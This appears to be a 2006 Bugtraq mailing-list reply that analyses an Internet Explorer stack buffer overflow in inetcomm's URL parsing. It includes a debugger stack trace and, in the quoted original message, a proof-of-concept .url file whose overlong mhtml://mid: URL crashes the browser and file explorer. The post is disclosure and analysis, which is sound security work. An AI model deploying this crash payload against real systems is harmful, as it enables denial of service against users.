Re: Internet explorer Vulnerbility

["Hariharan" <harij22 () gmail com>]

I see this work in explorer and my ie 7 beta, both of them crashes.  But 
this does not seem to be easily exploitable. It is a simple stack buffer 
overun issue. The problem seems to be in 
inetcomm!CActiveUrlRequest::ParseUrl..... now inetcomm seemed to have been 
gs flagged complied,hence the ovewrite of the security cookie casuses the 
internal handler inetcomm!__report_gsfailure to be called on fucntion 
return. This could be exploitable if we some evasive techniques is used. But 
on the face of it does not seem like a easy nut to crack.

All applications which use inetcomm are vulnerable if they are using url 
parsing, specially mhtml:cid or mid, havent tried others yet, maybe 
possible.


Thanks
-Hariharan

PS: This is what the stack looks like, notice the 'a' in it, seems 
internally the fucntion converts the url case.


00df9318 7c802542 00000758 000493e0 00000000 ntdll!KiFastSystemCallRet

00df932c 6945ada6 00000758 000493e0 003a0043 
kernel32!WaitForSingleObject+0x12

00df9e10 6945aff1 00000734 00000b90 00000748 
faultrep!InternalGenerateMinidumpEx+0x335

00df9e3c 6945b50a 00000734 00000b90 00dfa7e0 
faultrep!InternalGenerateMinidump+0x75

00dfa718 69456652 00000734 00000b90 00dfa7e0 
faultrep!InternalGenFullAndTriageMinidumps+0x8a

00dfbfd8 69457d3d 00dfc040 0154f660 00000000 faultrep!ReportFaultDWM+0x4e5

00dfc4c0 694582d8 00dfdad8 00dfd308 00000001 
faultrep!StartManifestReportImmediate+0x268

00dfd52c 7c863059 00dfdad8 00000001 00dfd800 faultrep!ReportFault+0x55a

00dfd7a0 761e234e 00dfdad8 00000000 c0000409 
kernel32!UnhandledExceptionFilter+0x4cf

00dfdae0 761769f2 00000000 00000000 00000000 
inetcomm!__report_gsfailure+0xe3

00dfe444 61616161 61616161 61616161 61616161 
inetcomm!CActiveUrlRequest::ParseUrl+0x67e

00dfe468 61616161 61616161 61616161 61616161 0x61616161

00dfe46c 61616161 61616161 61616161 61616161 0x61616161

00dfe470 61616161 61616161 61616161 61616161 0x61616161

00dfe474 61616161 61616161 61616161 61616161 0x61616161

00dfe478 61616161 61616161 61616161 61616161 0x61616161

00dfe47c 61616161 61616161 61616161 61616161 0x61616161

00dfe480 61616161 61616161 61616161 61616161 0x61616161

00dfe484 61616161 61616161 61616161 61616161 0x61616161

00dfe488 61616161 61616161 61616161 61616161 0x61616161





----- Original Message ----- 
From: <Mr.Niega () gmail com>
To: <bugtraq () securityfocus com>
Sent: Thursday, June 01, 2006 1:42 AM
Subject: Internet explorer Vulnerbility


> ------------------------------Niega.url-------------------------------
>
> [DEFAULT]
>
> BASEURL=
>
> [InternetShortcut]
>
> URL=mhtml://mid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>
> /*
>
> *
>
> * Internet Explorer overflow Vulnerbility [Proof of concept]
>
> * Bug discovered by Mr.Niega
>
> * http://www.swerat.com/
>
> *
>
> * Affected Software: Microsoft Internet Explorer 6.x
>
> * Severity: Unknown
>
> * Impact: Crash
>
> * Solution Status: Unpatched
>
> *
>
> * E-Mail: Mr.Niega () gmail com
>
> * Credits goes out to MarjinZ and Andvare
>
> *
>
> * Note: By right clicking on the file explorer will crash
>
> * Note: del=crash,F2=crash Use cmd to delete file
>
> */
>
>
> ------------------------------Niega.url-------------------------------